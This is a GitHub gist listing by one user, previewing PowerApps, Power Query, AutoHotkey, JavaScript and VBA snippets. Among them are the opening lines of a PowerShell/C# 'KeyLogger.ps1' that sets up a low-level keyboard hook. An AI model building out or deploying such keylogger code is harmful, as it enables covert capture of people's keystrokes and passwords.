Skip to content

Instantly share code, notes, and snippets.

Screens:
SPS Checklist:
Properties:
LoadingSpinnerColor: =RGBA(56, 96, 178, 1)
OnVisible: |-
=ClearCollect(myResults, {ID: "", Title: "", Type: "", SortNum: 0, JSON: ""});
Remove(myResults, First(myResults));
UpdateContext({VisibleMode: Blank()})
Children:
- EditPumpDetails:
@sancarn
sancarn / GalleryInputComponent.yaml
Last active May 7, 2025 09:11
A buggy gallery input control for PowerApps.
ComponentDefinitions:
GalleryInput:
DefinitionType: CanvasComponent
CustomProperties:
Default:
PropertyKind: Input
DisplayName: Default
Description: The default value in the property
RaiseOnReset: true
DataType: Table
@sancarn
sancarn / PowerApps_PopupFormulaBar.js
Last active April 24, 2025 02:30
Create a popup formula bar in power apps
(function openFormulaEditorPopup() {
const getFxEditorModel = () => {
const el = document.querySelector("#formulabar");
if (!el) return console.warn('No element with ID "formulabar" found.'), null;
const fiberKey = Object.keys(el).find(k => k.startsWith('__reactInternalInstance'));
if (!fiberKey) return console.warn('No React internal instance found.'), null;
let fiber = el[fiberKey];
const visited = new Set();
@sancarn
sancarn / CoordinateConversion.m
Created March 1, 2024 21:18
PowerQuery M language for converting from Eastings Northings to Latitude Longitude (and back)
let
//Computed Helmert transformed X coordinate.
//@param {number} X - Cartesian X coord in meters
//@param {number} Y - Cartesian Y coord in meters
//@param {number} Z - Cartesian Z coord in meters
//@param {number} DX - Cartesian X translation in meters
//@param {number} Y_Rot - Y rotation in seconds of arc
//@param {number} Z_Rot - Z rotation in seconds of arc
//@param {number} s - Scale in ppm
//@returns {number} Helmert transformed X coordinate
@sancarn
sancarn / ActivityWatcher.AHK
Last active August 19, 2024 19:40
Activity Watcher - This application monitors the windows you visit on your computer, and how long you visit them for. It was built due to my frustration with inability to remember what to put on my timesheets.
SetTimer, ActivityWatcher, 150
return
ActivityWatcher:
if !CurrentTitle
{
WinGetTitle, CurrentTitle, A
QPC(1)
}
@sancarn
sancarn / A_.ahk
Last active August 19, 2024 19:40
class A_ {
class COM {
GetActiveObject(){
}
GetActiveObjects(){
}
class _COMObject {
__New(obj){
@sancarn
sancarn / KeyLogger.ps1
Created January 14, 2020 00:07
KeyLogger C# / Powershell
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
@sancarn
sancarn / How to use a function pointer in VBA.md
Created December 30, 2020 12:14
How to use a function pointer in VBA by Akihito Yamashiro

VB6 and VBA come with no support for function pointers.

Also, when you wish to execute a function in a dll using the Declare function, you can only call functions created by the Steadcall calling conversation.

These constraints can be avoided by using the DispCallFunc API. The DispCallFunc is widely used in VB6 when erasing the history of IE. Although the DispCallFunc is known as API for calling the IUnknown interface, in fact, you can also perform other functions other than COM by passing the NULL to the first argument.

As explained in the http://msdn.microsoft.com/en-us/library/ms221473(v=vs.85).aspx , the DispCallFunc argument is as follows.

@sancarn
sancarn / .README.md
Created September 24, 2023 10:00
A minimal sample of optimised CopyMemory for VBA

MCopyMemory

Based almost entirely on the work of cristianbuse's MemoryModule, this is merely a minimal example and substitute for CopyMemory in VBA without any other helper functions.

Kudos to Cristian for building the original solution.

@sancarn
sancarn / CShapeEvents.cls
Last active August 9, 2023 07:58
Shape events in VBA
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
END
Attribute VB_Name = "stdShapeEvents"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False